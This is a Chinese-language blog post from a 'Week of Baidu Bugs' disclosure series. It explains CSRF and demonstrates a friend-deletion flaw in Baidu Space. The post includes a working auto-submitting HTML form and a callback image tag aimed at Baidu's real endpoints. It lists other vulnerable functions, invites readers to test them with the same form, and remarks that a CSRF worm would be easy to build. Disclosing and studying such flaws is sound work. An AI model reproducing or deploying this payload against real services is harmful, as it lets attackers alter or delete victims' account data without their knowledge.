The Week of Baidu Bugs – Day 02: 多处CSRF漏洞

来源:大风起兮云飞扬

注:版权所有,转载请注明出处。

今天是双休日,回来的有点晚,把今天的漏洞补上。

CSRF跨站点请求伪造的全称,估计很多程序员了解注射,了解跨站,但却还不了解CSRF

定义如下:
即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,或者欺骗性的表单,从而修改用户数据。

为了帮助大家理解,漏洞演示如下:

CSRF漏洞1: 删除任意好友漏洞
测试用户有如下好友:

然后我们在某个第三方网站上构造一个恶意html页面,诱使该用户打开这个页面。
该页面将向baidu提交请求,删除这个好友.

请注意url,是在一个第三方网站。

当正常用户看完这个页面后,发现自己的好友被删除了

实际上,该恶意页面就是构造了一个表单向百度服务器提交,源代码如下:
<form id=”fvck” method=”post” action=”http://frd.baidu.com” >
<input name=”cm” value=”Commit” >
<input name=”op” value=”3” >
<input name=”ct” value=”29” >
<input name=”dstun” value=”aullik5” >
<input name=”gn” value=”%C8%AB%B2%BF%BA%C3%D3%D1″ >
<input name=”un” value=”testuser” >
<input name=”tn” value=”bmSPFriCmt” >
<input name=”callback” value=”parent.DEL_FRD_CALLBACK” >
<input name=”spurl” value=”http://hi.baidu.com/testuser/friends”>

</form>

<script>
window.location.href = document.getElementById(“fvck”).spurl.value;
alert(document.getElementById(“fvck”).spurl.value);
alert(“/CSRF Baidu!/”);
fvck.submit();
</script>

<img src=”http://hi.baidu.com/st/add_frd_route.html?r=0&callback=parent.DEL_FRD_CALLBACK” >

如上,由于baidu区分了POST和GET,所以需要构造一个表单后post到服务器,在这里是使用js自动提交:fvck.submit();

baidu的一个事件调用过程,好像还有类似回调函数一样的东西,所以最后用了个img标签来GET一个请求,最终完成了这次CSRF的过程。

由于CSRF需要用到session cookie,而Baidu的cookie有两种,一种是session cookie,只在当前浏览器有效;一种是可以保存在本地的永久cookie,在登录时候可选

所以,为了新开浏览器访问第三方恶意页面时候,也能够成功CSRF,请在登录时候选择“记住我的登录状态

分析上面的表单,可以看到,其中没有任何token或者hash一类的字段,就是说,全部都是固定的或是可预测的,这就为CSRF提供了可能。

事实上,baidu在防止重复提交方面还是做了很多工作的。比如陌生人发表评论时候的验证码,除了防止spam外,也可以防止csrf;
另外,baidu还有个spvcode的是用来防止重复提交的,这个hash值是每次都会随机生成的,所以在无法获取这个hash值的情况下,是无法成功CSRF的。当然如果被XSS了从而获得hash,又是另外一回事了。

但是情况是当是空间owner自己的时候,好像这个spvcode是不会出现在表单里的,就是说,如果某个用户处于登录状态,我们是可以放心的去CSRF他的。

除了删除好友外,经过测试,非常多的功能都存在这些缺陷:没有token,参数可预知或指定
包括: 添加好友、发表文章、修改自己的资料、修改空间title之类,当然还有更多功能,都可以根据我提供的表单来进行类似的测试。

想想在你不知情的情况下,自己的资料就被修改了,是多么可怕的事情。

在Baidu空间,将会非常容易发起一个CSRF Worm

预知后事如何,且听下回分解!

PS:本次活动仅仅是个人行为,与任何组织或集体无关。

明天将发布一个非常猥琐的漏洞,敬请关注。

相关日志

发表评论